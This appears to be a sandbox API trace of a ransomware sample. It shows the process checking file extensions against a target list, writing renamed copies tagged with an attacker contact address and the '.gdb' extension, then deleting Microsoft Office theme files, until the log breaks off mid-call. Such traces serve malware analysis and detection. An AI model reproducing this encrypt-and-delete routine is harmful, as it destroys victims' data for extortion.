3 [0124.351] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString=".dbf") returned 4 [0124.351] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString=".1cd") returned 4 [0124.351] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString=".jpg") returned 4 [0124.351] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString=".doc") returned 4 [0124.351] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString=".docx") returned 5 [0124.351] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.351] lstrlenW (lpString=".pdf") returned 4 [0124.351] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.351] lstrlenW (lpString=".xls") returned 4 [0124.351] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.351] lstrlenW (lpString=".xlsx") returned 5 [0124.351] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.351] lstrlenW (lpString=".ppt") returned 4 [0124.351] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.351] lstrlenW (lpString=".zip") returned 4 [0124.351] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.351] lstrlenW (lpString=".rar") returned 4 [0124.352] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.352] lstrlenW (lpString=".bz2") returned 4 [0124.352] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.352] lstrlenW (lpString=".7z") returned 3 [0124.352] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.352] lstrlenW (lpString=".dbf") returned 4 [0124.352] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.352] lstrlenW (lpString=".1cd") returned 4 [0124.352] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0124.352] lstrlenW (lpString=".jpg") returned 4 [0124.352] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.353] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.353] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.695] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=33277) returned 1 [0125.695] CloseHandle (hObject=0x1b0) returned 1 [0125.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0125.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.696] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0125.696] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0125.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.696] GetLastError () returned 0x0 [0125.696] ReadFile (in: hFile=0x1b0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x81fd, lpOverlapped=0x0) returned 1 [0125.698] WriteFile (in: hFile=0x218, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x8200, lpOverlapped=0x0) returned 1 [0125.699] ReadFile (in: hFile=0x1b0, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0125.699] WriteFile (in: hFile=0x218, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0125.699] SetEndOfFile (hFile=0x218) returned 1 [0125.699] CloseHandle (hObject=0x218) returned 1 [0125.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0125.700] SetEndOfFile (hFile=0x1b0) returned 1 [0125.701] CloseHandle (hObject=0x1b0) returned 1 [0125.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.701] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0125.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.701] lstrlenW (lpString=".doc") returned 4 [0125.701] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.701] lstrlenW (lpString=".docx") returned 5 [0125.701] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.701] lstrlenW (lpString=".pdf") returned 4 [0125.701] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.701] lstrlenW (lpString=".xls") returned 4 [0125.701] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.701] lstrlenW (lpString=".xlsx") returned 5 [0125.701] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.701] lstrlenW (lpString=".ppt") returned 4 [0125.701] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.701] lstrlenW (lpString=".zip") returned 4 [0125.701] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString=".rar") returned 4 [0125.702] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString=".bz2") returned 4 [0125.702] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString=".7z") returned 3 [0125.702] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".dbf") returned 4 [0125.702] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".1cd") returned 4 [0125.702] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".jpg") returned 4 [0125.702] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".doc") returned 4 [0125.702] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString=".docx") returned 5 [0125.702] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.702] lstrlenW (lpString=".pdf") returned 4 [0125.702] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString=".xls") returned 4 [0125.702] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString=".xlsx") returned 5 [0125.702] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.702] lstrlenW (lpString=".ppt") returned 4 [0125.702] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".zip") returned 4 [0125.702] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString=".rar") returned 4 [0125.702] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.702] lstrlenW (lpString=".bz2") returned 4 [0125.702] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.702] lstrlenW (lpString=".7z") returned 3 [0125.702] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.702] lstrlenW (lpString=".dbf") returned 4 [0125.702] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.703] lstrlenW (lpString=".1cd") returned 4 [0125.703] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0125.703] lstrlenW (lpString=".jpg") returned 4 [0125.703] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.703] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.703] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.065] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=16738) returned 1 [0127.066] CloseHandle (hObject=0x1ac) returned 1 [0127.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0127.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.088] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.088] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0127.088] GetLastError () returned 0x0 [0127.088] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x4162, lpOverlapped=0x0) returned 1 [0127.091] WriteFile (in: hFile=0x210, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x4170, lpOverlapped=0x0) returned 1 [0127.093] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.093] WriteFile (in: hFile=0x210, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0127.093] SetEndOfFile (hFile=0x210) returned 1 [0127.093] CloseHandle (hObject=0x210) returned 1 [0127.093] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.093] SetEndOfFile (hFile=0x1d4) returned 1 [0127.094] CloseHandle (hObject=0x1d4) returned 1 [0127.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.095] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0127.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.095] lstrlenW (lpString=".doc") returned 4 [0127.095] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.095] lstrlenW (lpString=".docx") returned 5 [0127.095] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.095] lstrlenW (lpString=".pdf") returned 4 [0127.095] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.095] lstrlenW (lpString=".xls") returned 4 [0127.095] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.095] lstrlenW (lpString=".xlsx") returned 5 [0127.095] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.095] lstrlenW (lpString=".ppt") returned 4 [0127.095] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.095] lstrlenW (lpString=".zip") returned 4 [0127.095] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.095] lstrlenW (lpString=".rar") returned 4 [0127.095] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.095] lstrlenW (lpString=".bz2") returned 4 [0127.095] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString=".7z") returned 3 [0127.096] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString=".dbf") returned 4 [0127.096] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString=".1cd") returned 4 [0127.096] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString=".jpg") returned 4 [0127.096] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString=".doc") returned 4 [0127.096] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString=".docx") returned 5 [0127.096] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.096] lstrlenW (lpString=".pdf") returned 4 [0127.096] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString=".xls") returned 4 [0127.096] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.096] lstrlenW (lpString=".xlsx") returned 5 [0127.096] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.096] lstrlenW (lpString=".ppt") returned 4 [0127.096] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.096] lstrlenW (lpString=".zip") returned 4 [0127.096] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.096] lstrlenW (lpString=".rar") returned 4 [0127.096] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.096] lstrlenW (lpString=".bz2") returned 4 [0127.096] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.096] lstrlenW (lpString=".7z") returned 3 [0127.096] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.097] lstrlenW (lpString=".dbf") returned 4 [0127.097] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.097] lstrlenW (lpString=".1cd") returned 4 [0127.097] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0127.097] lstrlenW (lpString=".jpg") returned 4 [0127.097] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.097] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.097] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.097] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3970) returned 1 [0127.097] CloseHandle (hObject=0x1d4) returned 1 [0127.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0127.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.098] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.098] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0127.100] GetLastError () returned 0x0 [0127.100] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xf82, lpOverlapped=0x0) returned 1 [0127.110] WriteFile (in: hFile=0x210, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf90, lpOverlapped=0x0) returned 1 [0127.111] ReadFile (in: hFile=0x1d4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0127.111] WriteFile (in: hFile=0x210, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0127.111] SetEndOfFile (hFile=0x210) returned 1 [0127.111] CloseHandle (hObject=0x210) returned 1 [0127.111] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0127.111] SetEndOfFile (hFile=0x1d4) returned 1 [0127.112] CloseHandle (hObject=0x1d4) returned 1 [0127.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0127.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.113] lstrlenW (lpString=".doc") returned 4 [0127.113] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.113] lstrlenW (lpString=".docx") returned 5 [0127.113] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.113] lstrlenW (lpString=".pdf") returned 4 [0127.113] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.113] lstrlenW (lpString=".xls") returned 4 [0127.113] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.113] lstrlenW (lpString=".xlsx") returned 5 [0127.113] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.113] lstrlenW (lpString=".ppt") returned 4 [0127.113] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0127.113] lstrlenW (lpString=".zip") returned 4 [0127.113] lstrcmpiW 